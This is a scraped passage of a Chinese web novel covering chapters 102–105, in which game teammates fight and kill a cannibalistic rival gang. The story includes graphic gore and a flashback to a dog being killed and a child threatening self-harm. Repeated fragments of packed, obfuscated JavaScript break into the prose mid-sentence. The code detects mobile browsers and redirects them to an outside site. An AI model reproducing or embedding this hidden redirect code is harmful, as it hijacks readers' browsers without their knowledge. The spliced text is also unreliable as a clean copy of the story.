l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16237865|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着寒光罩向三人。初与序只好放弃攻击铁链男,短刀划出圆弧割开网绳,却被潜伏已久的瘦高男人一记鞭腿扫中侧腹。 剧烈的疼痛传来,她滚动避开后续劈砍,刀尖插地急刹,反手掷出半截断链。 “噗嗤!”一声,铁链尖端贯入瘦高男人的眼窝。 另一边,景明垂的琴弦已经被血浸红,血珠滴落在地板上。纤细的金丝在黑暗中划出弧线,缠上一个敌人,瞬间收紧,对方的颈椎断裂。 第二个敌人挥舞着带刺的指虎袭来,景明垂后仰下腰,琴弦在地上一撑,整个人跃起。双腿绞住敌人手臂,硬生生将对方肘关节拧成麻花。 在她勒碎第三只猫的喉骨时,后背突然一凉。叛鼠的匕首从肩胛刺入,刀尖透出前胸。她咳着血反手拧断对方手腕,琴弦绞着匕首捅进叛鼠自己的心脏。 “不对啊!”终于,有猫发现了不对劲,“这三个人为什么像早就排练好了一样?!” “哎呀呀,你们才发现啊?”随歌嬉笑道,竹扇掀起狂风,烛台被吹翻,燃烧的蜡油泼向敌人,“还真把我们当傻子了?我们就是来杀你们的!” “烫烫烫!”敌人惨叫着后退,随歌趁机欺身上前,竹扇轻点对方手腕要穴,他的武器当啷落地。 屠宰场的人发现被骗了,立刻认真起来,开始拼命反击! 身侧,初与序的短刀已经狠狠刺入一个敌人的脖子。那猫捂着喷血的脖子踉跄后退。但初与序还未来得及抽刀,侧面突然袭来一道黑影。她勉强侧身,铁钩还是撕开了她右肩的皮肉,鲜血顿时浸透了半边衣袖。 “不带你们这么玩的!”随歌气得大喊,“四个男人打一个姑娘?!还他妈偷袭?” 竹扇展开,房间里卷起狂风。破碎的家具残骸被卷入旋风,像炮弹般砸向围攻的敌人。一个叛鼠刚举起砍刀,就被飞来的椅腿击中面门,鼻梁骨碎裂。 景明垂抓住机会,琴弦精准缠出敌人的脖子。她双手交错一扯,两颗头颅顿时以诡异的角度后仰。 下一秒,一个黑影冲破风暴,铁拳直取景明垂后心。初与序飞身扑上,短刀横架,硬生生挡下了这一击。巨大的冲击力让她差点被震飞。 她飞快直起身后退一步,扫视全场,在看到第六具尸体后,笑着低低咳嗽两声。 另外两人收到暗号,随歌立刻扇动竹扇,扇面亮起。浓密的大雾瞬间充满整个房间,并迅速向走廊蔓延,伸手不见五指。 三人如离弦之箭冲出房门,雾气中,隐约可见十几个红环身影正在靠近。景明垂忽然闷哼一声,像是被什么东西撞到:“分开走!” 在下一个岔路口,三人默契地分散开来。初与序向右拐进一条堆满杂物的走廊,随歌跃上通风管道,景明垂则闪入左侧的楼梯间。 屠宰场的追兵停在岔路口,待大雾散去,几人看着三条路面面相觑。 “人呢?!怎么跟丢了?!” “你们干什么吃的?就三个那么年轻的小孩都打不过?还让他们杀了我们六个人?!” “现在你骂什么?快点分三路追啊!” 初与序听着身后杂乱的脚步声,冰蓝短刀转了个漂亮的刀花,继续向前跑。 103.求求你们互相背刺吧 随歌在通风管道里爬得骂骂咧咧,揉着被铁皮刮出血痕的胳膊:“这破管子是给耗子钻的吧?” 话落,通风管道的拐角处突然传来金属变形的“吱呀”声,他猛地刹住,看到红外扫描的冷光正从转角缝隙里渗出来。 “完犊子。”他无声地咧咧嘴,竹扇悄悄滑到掌心。召唤狂风的技能刚亮起一半,就看到熟人。 “意哥?”随歌惊讶道。 两人在狭窄的管道里相遇,江意的机械手环泛着暗红微光,重力场的波纹让周围的铁皮都在轻微震动。随歌的竹扇僵在半空,终究没有掀起那一阵风。 “哟,吃了吗您?”随歌咧嘴一笑,扇面“唰”地合拢。 江意的机械手环忽强忽弱,最终归于平静。他微微侧身,在仅容一人通过的管道里让出半存空隙。随歌的竹扇顺势戳了戳对方的手环:“能量不足啊?意哥你身体怎么样?猫的任务完成了吗?” “完成了。”江意没有回答前两个问题。 还没说完,远处传来搜查的脚步声。江意的手环再次亮起,这次对准的是随歌身后的管道,一股轻柔的推力将他往反方向送了送。 “得嘞!”随歌就势滑进岔路,在与江意擦肩而过时,他发现江意真的很瘦,整个人在狭窄的管道里只占半边。他用竹扇在头顶挥了挥,“一会见呐。” 他最后回头时,看见江意的手环红光划过一道弧线,将追兵的脚步声引向了完全相反的方向。通风管道的铁皮缝隙里,隐约传来重物坠地的闷响和咒骂声。 “还是这么闷骚。”随歌摇摇头,用竹扇掀起微风抹去了两人爬行的痕迹。 景明垂奔跑在空荡的走廊里,胸口的伤口还在渗血,每一次呼吸都带着铁锈味。路过第一个房间,门缝里透出微弱的烛光。 她本不想停留,但里面传来的惨叫声让她脚步一顿。透过门板的裂缝,她看到三只蓝环老鼠围着一只红环猫。那只猫被铁链捆在椅子上,半边脸已经被剥开,露出血红的肌肉和骨头。 “说话!”一个人用匕首拍打着猫的脸,“你们把其他老鼠藏哪里了?” 猫吐了一口血沫,居然笑了:“藏?他们早就变成肥料了。” 老鼠暴怒地举起匕首,却在落下时突然僵住。他看到了门外的景明垂,四目相对。 “你好,要一起吗?”那人看到景明垂泛着蓝光的颈环,认出了她是自己人。竟开口询问道。景明垂冷漠地移开视线,没有回答,继续向前走。身后的惨叫声又拔高了一个八度,但她脚步都没听。 第二个房间,浓重的血腥味扑面而来。 景明垂侧过身,望向半掩着的门缝。微弱的烛光从窗外透出,房间中央,五六个屠宰场的成员围坐成一圈,中间是一具红环猫尸体。 “再切一块大腿肉。” 沙哑的嗓音让景明垂睁大眼睛,她下意识贴近门缝,看到其中一人正用匕首割取地上尸体的□□。 同类相食。 “这比真正的老鼠肉嫩多了。”一个光头往嘴里塞着生肉,咀嚼声恶心。鲜血顺着他的下巴滴落,在衣服前晕开暗色痕迹。 景明垂的琴弦不自觉地勒进掌心。她见过无数死亡:去世的亲戚、被父母摔死的小狗,甚至大冬天冻死的老鼠。但眼前这一幕仍让她喉咙涌上酸水,胃部痉挛,一阵阵疼痛,她死死咬住嘴唇才确保自己没有吐出来。 下一秒,房间内的五人同时转头,直勾勾盯着景明垂。烛光在他们油光发亮的嘴角跳跃。最可怕的是他们的眼睛,瞳孔放大成诡异的圆形,眼白布满血丝,像个疯子。 景明垂的目光再次落到他们中间的尸体上,现在她已经能看清楚尸体的全貌。尸体被肢解成好几块,眼睛和嘴巴大睁着,像是想喊出什么。四肢的骨头全都断裂,明显是被他们从高楼上退下来摔死,再拖上来肢解、被吃掉的。 她又得想起了童年时期,那只被父亲狠狠摔死的伯恩山犬。 没有犹豫时间,她猛地后仰,琴弦甩出缠住上方管道,整个人灵活地腾空而起。几乎在同一秒,一把剁肉刀深深嵌入她刚才站立的位置。 “是那个用琴弦的新人玩家!” 暴喝声中,景明垂借着琴弦的拉力荡想楼梯拐角。身后传来桌椅翻倒的巨响。五个食人者如野兽般四肢着地追来。他们的奔跑姿势诡异扭曲,嘴角还挂着未咽下的肉沫。 景明垂撞开通往天台的铁门,飞快锁门,夜风夹杂着雨丝拍在脸上,她踉跄着伸手扶住墙壁,终于忍不住干呕起来。胃里空无一物,只有酸苦的胆汁灼烧着喉咙。 身后,铁门被撞得砰砰作响。她颤抖着举起鲜血淋漓的双手,琴弦在雨中泛着冷光。五道扭曲的影子已经踹开大门,冲到她身后,最前面那个正舔着匕首上的血。 “小丫头……”男人的声音让景明垂恶心,“让你也尝尝被吃的滋……” 琴弦破空的尖啸截断了话语。第一根金丝缠住说话者的脖子时。景明垂已经借力跃起,双腿绞住另一个扑来者的头颅,旋转的离心力将两人同时甩向天台边缘。 她的手在琴弦上颤抖,雨水混着血水从指缝间滴落。 天台的风很大,吹得她眼眶发涩。眼前食人者狰狞的面孔忽然扭曲变形恍惚间竟与五年前那个雨夜重叠。 她十三岁,抱着半人高的伯恩山犬躲在门后。 父母在客厅吵架,花瓶砸在墙上碎裂开来。她抱着伯恩山犬温暖的身体,小狗的舌头舔着她手背上的眼泪,湿漉漉的。 伯恩山犬叫“阿山”,是景明垂八岁生日时,景父亲手抱回来的,毛色像巧克力般温暖。 “要离婚就离婚!”景父的声音像炸雷,“但孩子必须跟我!” “跟你?”母亲歇斯底里地尖叫,“让你教出一个精神病吗?景明垂明年必须去住院!” 景明垂鼓起勇力推开门,阿山跟在她脚边:“不要离婚。”她的声音很轻,却让暴怒的父母同时转头。 空气凝固了一秒。 “都是你!”景父突然指着她咆哮,“就是因为你!,都是你这赔钱货天天哭丧着脸!” 阿山察觉到危险,挡在她面前低吼。景明垂记得当时自己说了什么,很蠢的话:“不要离婚…我可以不吃饭…阿山也可以少吃…我可以赚钱…” 景父忽然一个箭步冲上前,一把揪住阿山的后颈,阿山在他手里像个破布娃娃。 景明垂能猜到自己的父亲想干什么,她以肉眼不可见的速度,一把抄起一旁的菜刀。刀锋压在手腕静脉处,有血溢出来,冰冰凉凉的触感。 “你摔它,我就割下去。”她记得自己当时的声音,平静得不像个孩子。 在家长眼里,这是个多么幼稚的威胁啊。但在只有十三岁的她那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16237866|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,生命是唯一可以用来打赌的。 母亲尖叫着扑来,指甲在她手臂上抓住血痕。菜刀被抢去,刀背刻在料理台上的声响格外清脆。紧接着是更沉闷的“砰”。 那是阿山被掼在地上的声音,狗狗临死前呜咽着爬向她,拖出的血痕像一条红绸带。它“汪呜”了一声,不是惨叫,也不是困惑,反而是…安慰,安慰景明垂不要难过。 “精神病!还真被你爹养成精神病出来了!”母亲尖叫道。 阿山死了,父母也离婚了。然后,在明年她十四岁时,她被母亲送进了善佑青少年医院。 医院的白色走廊反而成了避难所,这里有着不会突然碎裂的安静,有按时发放的彩色药丸,还有初与序。那个总喜欢和自己待在一起的女孩,右眼灰蒙蒙的,却会在午休时爬上她的床,和她一起聊天。 “景明垂!” 江意的声音从远处传来,将她猛地拉回现实。她这才发现自己的琴弦已经深深勒进敌人的器官。对方的脸涨成紫黑色,眼球凸出,和当年阿山死前的样子一模一样。 她松开琴弦。 那人瘫软在地,而其余四人已经围了上来。景明垂后退一步,后背抵上潮湿的护栏,雨水冲刷着她的脸,她不知道是雨还是泪。 “原来我们大名鼎鼎的景小姐也会怕啊?”领头的食人者逼近,“你这股疯劲,我还以为你什么都不怕呢。” 景明垂罕见地露出一个微笑,她染血的手指抚过琴弦,五年前没能保护阿山的无力感,此刻化作滔天杀意。 “不。”她道,“只是想起来一件往事。” 琴弦破空的尖啸盖过了雨声,第一根金丝割开说话者的眼球时。剩下三根已经缠上其他人的咽喉。她借力腾空,双腿如剪刀般绞住最近一人的脖子,身体旋转的离心力将对方直接甩出天台。 惨叫声划破雨夜,最终被地面的撞击声终结。 景明垂回头,看见江意冲上天台。他的头发被雨水打湿,整个人苍白,嘴角还残留着血痕。平日里一直完好的机械手环,此刻正随着他摇晃的身形发出絮乱的电流声。 “意哥,你怎么……” 话音未落,江意忽然弓起身子,手指死死捂住胃部。景明垂立刻意识到他的病经受不住他的行动。 “咳…”江意咳出鲜血,膝盖重重砸在积水里。他试图用机械手环撑住身体,但蓝光闪烁两下就彻底熄灭。 景明垂立刻上前扶住他,将昏迷的江意拖向水箱后方。随后踹开水箱旁的检修口。生锈的铁门后有狭窄的管道间,是临时的老鼠洞。她将江意推进去时,触到他滚烫的手背,似乎发烧了。 “忍一下。”她干脆解开双马尾,用皮筋扎紧江意流血的手臂。昏迷中的他依然在无意识地发抖,冷汗混着雨水从下颌滴落。 景明垂看向他右腕的机械手环,忽然意识到什么,一把掀起他的衣袖。白皙的胳膊上,密密麻麻全是刀割出来的伤疤,血还没干,有的甚至还在流。 “你……用自己的血当能源?”她道。 江意在剧痛中短暂地睁了下眼,动了动嘴唇。景明垂俯身去听,却只听到一句带着血腥气的: “…冬逢初…受了伤,提醒初与序…去找他…” 远处传来铁门被撞开的巨响,景明垂猛地合上检修口,江意的头无力地靠在管壁上,呼吸灼热。 104.求求你们互相背刺吧 初与序走在墙边阴影里,短刀上的血迹还未干透。 转过拐角时,一阵打斗声从厨房传来。下一秒,手里的短刀疯狂震动,又是熟悉的共鸣。她立刻放轻脚步,走到透过破碎的玻璃向内望去。 冰箱倾倒,橱柜碎裂,满地玻璃渣在月光下泛着冷光。而在这一片狼藉中央,冬逢初单膝跪地,长剑插在身前勉强支撑身体。他的白衬衫被血浸透,左肩一道伤口深可见骨,血顺着指尖滴落,在地上汇成暗色水洼。 五只红环猫围着他,为首的正踩着他染血的长剑,弯腰揪住他的头发:“再给你最后一次机会,重新打开心灵链接,叫你的小女友过来,给你一个痛快。” 冬逢初右手染血的手指死死握着那枚黑色的耳骨夹:“放心吧,她永远不会来。” “找死!”那人暴怒,举起铁棍,高高扬起! 她抬起一脚踹开厨房门的瞬间,短刀已经脱手飞出。“嗖”的一声,刀锋精准扎入为首男人的肩膀,让他痛嚎着踉跄后退:“谁!” 初与序没有回答,径直冲入战场,剩下几只猫反应很快,同时扑来。她矮身避过横扫的铁链,刀锋贴着对方手腕旋转,挑断筋络的同时借力腾空,膝盖重重撞上另一人的面门。鼻骨碎裂的脆响里,她旋身落地,短刀精准刺入第三人大腿。 冬逢初愣了三秒,显然对突然出现的初与序感到意外。但他也没闲着,尽管失血让他的动作迟缓,但剑招依旧凌厉。长剑挑开劈来的砍刀,顺势划开对方腹部,让对方无法行动。 “走!”她拽住冬逢初的衣领,拖着他撞开后窗。 两人跌跌撞撞地冲进储藏室,初与序反锁上门,将货架推倒堵住入口。冬逢初靠着墙滑坐在地,长剑当啷掉在地上。 “阿序……”他喘着粗气,抬头看着初与序的眼睛。 初与序不说话,她坐在冬逢初旁边,绷带在她指间翻飞,动作轻柔。染血的纱布被一层层揭开,露出血肉模糊的伤口。消毒水的味道在狭小的空间里弥漫。她抿着唇一言不发,睫毛在眼下投出一片阴影。 冬逢初看了她一会,指尖动了动,轻轻碰了碰她垂落的长发:“阿序,你是不是生气了?” 绷带突然收紧了一瞬,又立刻放轻力道。初与序没抬头,轻轻扒开冬逢初的右手,将那枚黑色耳骨夹取出,打开了连接,又亲手戴到冬逢初的右耳上。 “如果我没有路过厨房,如果我晚来一步,我就失去你了。”她平静地看着冬逢初,“我试图通过心灵链接查看你的状态,但我感受不到,又怕忽然喊你你会分神。” “结果是你自己切断了连接。” 冬逢初的睫毛颤了颤,他抬起没有受伤的那只手,轻轻覆上她的手背:“我不能让你来冒险,阿序。心灵链接的另一端是你,我不可能让你过来。” 储藏室外偶尔传来遥远的脚步声和叫喊,但此刻这个堆满杂物的房间却与世隔绝。 初与序没有立刻回答,她继续着手上的动作,将最后一段绷带在他胳膊上系紧。然后忽然俯身,在伤口的绷带上轻轻落下一个吻。这个突如其来的温柔让冬逢初怔住,连疼痛都忘了。 “我不能放弃你。”她道。 然后她握住放在地上的短刀,站起身走到门口。转过身,最后看了冬逢初一眼,目光描摹过他苍白的唇色和染血的脸颊,冬逢初的目光安静地追随着她。 初与序推开门,夜风卷着血腥味扑面而来。她的背影在门口停顿了一秒,然后毫不犹豫地关上门,踏入黑暗。 两个人都知道,这一刻必须分开。 冬逢初是猫,初与序是鼠。他需要养伤躲开追杀,她需要去解决剩下的威胁。他们站在对立阵营的两段,却比任何人都要紧密相连。 走廊尽头,初与序转过弯,却在看清面前人时一顿,心里下意识暗骂一句。 齐无尽不知何时站在前方拐角,一头红发和脖子上泛着红光的颈环非常显眼。月光从破碎的窗户斜照进来,将他的影子拉得很长。 他抬头,对上初与序的眼睛,面上有些意外。下意识拿出扑克牌,黑桃A在指间翻飞。 初与序的脑海里出现江意的那句话:“如果对上了齐无尽,就下死手,或者找机会离开。” 两人目光相撞上,刹那,杀机暴起! 初与序的短刀刺去,刀锋割破空气发出尖锐啸叫。齐无尽手腕轻抖,三张黑桃牌呈品字形射来。 前两张被短刀格挡,第三张黑桃7浅浅擦过初与序左肩。她身形微晃,却借着前冲之势变招,刀尖突然下压,改刺为扫,直取齐无尽脚踝。 齐无尽后退半步,修长的手指从袖中滑出四张方片。牌面在月光下泛着冷光——方片3、方片9、方片J、方片Q。他手指轻弹,四张牌同时亮起猩红光芒。 攻击率提升400%。 初与序反应很快,她的刀锋与最先袭来的方片J相撞,虎口顿时崩裂。第二张方片Q擦过脖颈,带出一线血丝。而第三张方片9深深嵌入她右大腿,刀尖抵住地面才没倒下。 齐无尽缓步走近,手指又夹起两张红心。治愈的光芒开始在他身上流转,但反噬的能力也让他嘴角溢出鲜血。 初与序左手撑地,受伤的右腿趁机横扫。齐无尽侧身避让,却没料到她从袖子中滑出那把冰蓝短刀,直取咽喉! 千钧一发之际,齐无尽甩出黑桃K格挡。扑克牌被一分为二,但刀势已偏,只在他锁骨留下一道深可见骨的伤口。 两人错身而过的瞬间,初与序突然变招,她弃刀用腿,重重揣在齐无尽身上。她用了八成力,齐无尽被踹得撞开身后的木门,摔进一间废弃教室。 木屑飞溅,课桌倾倒。他的后背重重砸在黑板前的讲台上,粉笔灰腾起一片白雾。但还未等尘埃落定,初与序已经飞速冲入,右拳蓄力,一记沉重的勾拳狠狠砸在他腹部。 “咳——!” 齐无尽闷哼一声,吐出一大口鲜血。他猛地抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16237867|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膝,撞向初与序肋骨,同时右手抽出一张黑桃Q,卡牌边缘如刀锋般划过她的侧腰。 初与序吃痛,却死死扣住他的手腕,借力翻身,肘击砸向他脖骨。齐无尽偏头闪避,肘击擦过耳廓,带出一道血痕。他反手扣住她的手臂,腰腹发力,猛地一拽! 初与序被他一个过肩摔砸向地面,却在触地的瞬间蜷身翻滚,双腿如剪刀般绞住齐无尽的膝盖,狠狠一拧。 “咔!”一声,骨骼错位的声响在寂静的教室里格外清晰,齐无尽皱了皱眉,但反应极快,单手撑地,另一只手抽出红心K,治愈的光芒刚亮起,初与序已经再次扑来,短刀直刺他的咽喉! 齐无尽闪开,同时一脚踹向她的胸口! “咚!” 初与序被这一脚踹得倒飞出去,撞上教室后墙,墙体龟裂,灰尘簌簌落下。她反应极快地翻身而起,眼神冷厉。 两人短暂地对峙,呼吸粗重,鲜血滴落在地板上,发出轻微的“滴答”声。 楼上,躲在走廊拐角的两位玩家屏住呼吸,死死捂住嘴,不敢发出一点声音。 他们从来没见过这样的厮杀,没有怒吼,没有咆哮,只有最纯粹的杀意和最精准的杀招。 齐无尽缓缓站直身体,手指间不知何时已经夹住了三张梅花牌——梅花7、梅花J、梅花K。他轻轻一甩,三张牌在空中旋转,毒物瞬间弥漫整个教室。 初与序立刻屏息,但皮肤接触毒雾时,仍感到一阵刺痛,她的视线开始模糊。 下一秒,齐无尽身形一闪,已经逼近她面前,一记手刀劈向她的颈侧。初与序矮身劈过,短刀上挑,在他手臂上划出伤口,鲜血顿时涌出,染红了他整个衣角。 齐无尽后退半步,低头看了眼伤口,眼神依旧平静。他抽出一张红心A,按在伤口上,光芒亮起,但反噬的剧痛让他眼前发黑。 初与序没有给他恢复的时间,再次冲上,短刀刺向他的心脏。 齐无尽用一张方片K格挡,排面炸裂。他趁机扣住她的手腕,用力捏住穴位,短刀脱手。初与序左手一拳砸中他鼻梁,鲜血顿时涌出。 两人踉跄分开,齐无尽抬手擦去鲜血,低头看了眼手背上一片红,被气笑了:“初与序,你下手真狠。” 就在他准备再次抽牌时,窗外突然电闪雷鸣,暴雨倾泻而下。随歌的竹扇在楼梯泛着绿光,雨幕和大雾瞬间遮蔽了视线。 初与序没有犹豫,转身破窗而出,身形消失在黑暗中。 齐无尽没有追击,他站在原地,从窗外打进来的雨水顺着红发发梢滴落,混着脸上的血,砸在地板上。他看了看手中染血的扑克牌,借着雨水洗了洗,转身离开。 一直躲在楼上偷看的两位玩家面面相觑。 “他们俩就这么莫名其妙打起来,又莫名其妙分开了?” “可能是实力差不多,见分不出胜负,就停战了吧。” “大佬的思维和行动我们不懂是正常的。” 105.求求你们互相背刺吧 林海靠在锈蚀的铁栏杆上,他身后站着五个屠宰场成员,每个人颈间的红环都泛着猩红。 突然,走廊尽头传来急促的脚步声。 两只蓝环老鼠跌跌撞撞地跑过来,脸上写满恐惧与谄媚。其中一个小个子的人喘着气:“林、林哥!我们看到初与序了!” “她刚刚和齐无尽在六楼教室死斗,受了重伤!”另一人补充道,眼睛不安地转动,“我们知道她现在在哪儿!” 林海缓缓直起身子,露出笑容。他伸手拍了拍说话人的脸颊,力道不重,对方却浑身发抖。 “带路。” 两个字,轻飘飘的,却让两人如蒙大赫。他们点头哈腰,领着这支队伍向黑暗的走廊深处走去。 屠宰场的成员们无声地跟上,最壮实的那个扛着一把改装过的消防服,斧刃上还挂着未干的血肉;瘦高的女人手中转着手术刀,刀光在月光下泛着冷意。双胞胎兄弟各自握着一截铁链,链条拖在地上发出令人牙酸的摩擦声。 “林哥。”扛斧头的壮汉问,“要不要通知杜明?” 林海冷笑一声,“他?不了,我要亲手割下那个玩家的头。” 队伍转过拐角,两只带路的老鼠突然停下。瘦小上那个指着前方一扇半开的铁门,声音发颤:“就、就在那个储物间,我们亲眼看见初与序走进去的……” 林海眯起眼,门缝下确实有一道新鲜的血迹,蜿蜒如蛇,消失在黑暗里。 他打了个手势,双胞胎立刻无声散开,铁链在手中绷直,手术刀女人贴墙而站,刀尖对准门缝。扛斧壮汉咧开嘴,露出镶嵌的金牙。 “记住,我要活的。”林海从腰间抽出一把刀,刀背上满是倒钩。 两只带路的老鼠缩在角落里,既不敢离开,又不敢靠近。他们看着这支杀戮小队如幽灵般逼近那扇铁门,看着林海缓缓举起三根手指。 三。 二。 一。 破门而入的巨响。 储物间内,血腥味浓得呛鼻。初与序背靠着铁架,右眼半闭着,左眼在黑暗中亮得骇人。她的短刀横在膝盖上,左手死死按着肋间伤口。 门外踹开的时候,她的刀已经出鞘。 最先冲进来的壮汉迎面撞上刀光,喉咙差点被割开。但第二人紧随其后,消防斧重重劈下,她勉强侧身,斧刃仍在她肩头撕开一道口子。 “按住她!” 双胞胎的铁链缠上她的手腕,初与序挣扎,被第三人一记膝顶撞顶在胃部,第四人趁机一脚踹在她膝窝。 初与序重重跪地,铁链绞紧腕骨的声音清晰可闻。 紧接着,只见林海慢悠悠踱进来,走到初与序面前,微微低下头看着她:“看看这是谁?大名鼎鼎的初与序,怎么落单了呢?” 他用力掐住初与序的脸,强迫她抬头。又掀开她遮住眼睛的刘海,露出灰蒙蒙的右眼。月光从高窗洒落,照在她染血的半边脸上。未受伤的左眼清冷如霜,睫毛上还沾着血。 “别说…”林海敲了敲她的脸,“长得还挺带劲。” 储物间里顿时响起几声心领神会的嗤笑,但在下一秒,那个拿手术刀的女人上前一步,挡在林海面前,冷冷道:“要杀要剐随你们,但别搞这种恶心事,带坏屠宰场名声还影响我。” 林海动作一顿,无奈只好松开手退后:“行啊,你倒是清高。” 他转而重新看向初与序:“那就换个玩法。”他笑着道,“永冬之城难遇的天才,新人期就有高权限的玩家,死在这种地方太可惜了——不如加入我们。” “屠宰场马上要接管整个游戏城,跟我们走,你能活到最后。若你拒绝,你和你队伍里四个人,包括那个病秧子江意,都会死在我们手下。” 初与序的视线不明显地扫过整片地板,随后她抬起头,目光落在林海脸上,那眼神让林海脊背发凉。 “看什么看?!”后面的壮汉不耐烦道,“林哥跟她废话什么?!不答应就绑着拖回去,实在不行就剁了喂狗!” 林海耸耸肩,蹲下来,与初与序对视:“怎么样?是跟着我们吃香喝辣,还是……”说着,他的刀尖移到她完好的左眼前。 初与序抬眼,淡淡道:“去你的。” 壮汉猛地暴怒,抬起脚,就要狠狠踹向她胸口:“你他妈……” 下一秒,鲜血飞溅! 壮汉的狞笑还凝固在脸上,整只踩在初与序胸口的右脚突然齐踝断裂。鲜血如喷泉般涌出,他呆滞了一秒,才爆发出撕心裂肺的惨叫: “啊啊啊——我的脚——!” 景明垂的琴弦在月光下泛着冷光,早已在房间内布下天罗地网。纤细如发的金丝此刻成了最致命的武器,随着她指尖一勾,又一名屠宰场成员的脑袋突兀地从肩膀上滚落。 “畜生啊你们几个!”随歌的声音从通风管道传来,竹扇猛地展开,狂风裹着碎玻璃席卷整个房间,“惊喜吗?老子等的就是现在!” 手术刀女人刚举起武器,就被突如其来的风刃割破手腕。她惊恐地后退,却撞上了另一根早已绷紧的琴弦,喉咙瞬间被割开,鲜血喷溅在墙上,像一幅抽象的画。 双胞胎兄弟怒吼着挥动铁链,却被从天而降的冬逢初一剑劈开。长剑如银龙出海,第一剑斩断铁链,第二剑刺穿一人心脏,第三剑被林海用锯齿刀勉强架住。 他终于明白过来,瞪向初与序:“你他妈算计我?!” 随歌把初与序扶起来,朝林海翻了个白眼:“那可没有,我们要拯救世界的队伍成员素质很好,只算计人,不算计畜生。” 他的竹扇再次掀起狂风,景明垂的琴弦在混乱中收割,冬逢初的长剑如影随形,逼得林海节节败退。 “林哥!走!”断脚的壮汉突然扑上来,用身体挡住冬逢初的剑锋,林海趁机撞破窗户跳出去,壮汉跟上,两人消失在夜色中。 房间重归寂静,地上只剩下四具尸体。 “跑了两个。”冬逢初收剑入鞘。 “放心,断脚的那个活不过今晚。”随歌闻言嗤笑,用竹扇给初与序治疗,“倒是我们这位影后,你是怎么碰到齐无尽并且和他打了一架,然后肋骨撞断一根还敢当诱饵的?” 初与序没有回答,望向窗外,灰蒙蒙的右眼被月光照亮。景明垂默默收起琴弦,上面还沾着敌人的血。 “屠宰场还剩多少人?”冬逢初问。 “算上林海、杜明和刚刚那个壮汉,还有六个。”景明垂淡淡道,“但想杀我们的不止屠宰场的人,他们现在一定会合作。” 随歌扇了扇竹扇:“对了,你们看见意哥没有?” 景明垂点头:“他在休息。” 初与序伸手拨开随歌的竹扇,随歌一脸懵:“你伤还没治好呢。” “你的竹扇能力快消耗完了。”初与序站直身体,握紧短刀,“我能行动就可以。” 随歌无奈地摇摇头,合上竹扇:“那好吧,离游戏结束还有一小时,接下来我们有没有什么特别牛逼的计划,可以把林海几人全灭的那种?” “有。”初与序轻声说,“据我所知道的队伍玩家,想杀我们的大概有九人,但仇恨屠宰场的玩家也有很多,并且现在还存活在这场游戏里。” “我们需要做的就是借刀杀人。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16259767|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她详细道出计划,语速平稳:“目前我们散布情报,让刚刚带路来的两个人‘意外’得知林海的位置,实则是陷阱坐标。而景明垂在屠宰场剩余成员必经之路上布置琴弦陷阱。再利用另一批仇恨屠宰场的玩家当先锋等双方两败俱伤时收尾。” “这是林海最后逃跑的方向。”初与序用短刀在地上画出简易的地图,点向西北角,“杜明一定在医务室,那里有药品。” “现在林海最狠是不是我们,而是刚刚那两个带路的玩家。所以要让屠宰场内讧。” 随歌转着竹扇:“哇哦,这是个好法子,暂时不用打架了。”他站起身,“明白了,我们三个保证完成任务。” “你们三个?”初与序皱眉,“太冒险了,他们的人数是我们的三倍。” 冬逢初伸手轻轻按住她的肩膀:“阿序,你现在受伤了,再动,伤口会裂开。” 景明垂已经将琴弦上的血珠甩干,闻言抬眼:“意哥需要人守着,我们三个就够了。” “对啊,不就是几个屠宰场的杂碎吗?老子呼风唤雨玩死他们!”随歌笑嘻嘻道。 初与序的呼吸微微发颤,确实,面前三人都不是乌合之众,完全有能力完成所有计划。反而她自己右眼失明,身上都是伤。 “好,你们注意安全。”她轻声说。 随歌竹扇“唰”地展开:“放心,保证把林海的脑袋给你拎回来当球踢!” 景明垂已经走到门口,回头看了她一眼:“意哥在天台,交给你了。” 三人消失在走廊尽头。 初与序收起短刀,走上天台,推开铁门时,只见江意靠在生锈的水箱旁,单手捂着嘴,指缝间渗出刺目的猩红。他的机械手环黯淡无光,另一只手死死抵着胃部。听到动静时瞬间抬头,在看到来人后又松了口气。 初与序快步上前,来到他身边:“你带止痛药了吗?” 江意摇头:“用完了。” 初与序盯着他看了几秒,敲了敲系统面板:“系统,我要止痛药。” 她面前浮现出一块半透明的面板,机械音毫无感情地回应: 【系统提示:止痛药不属于可兑换物资,需通过特殊任务获取。】 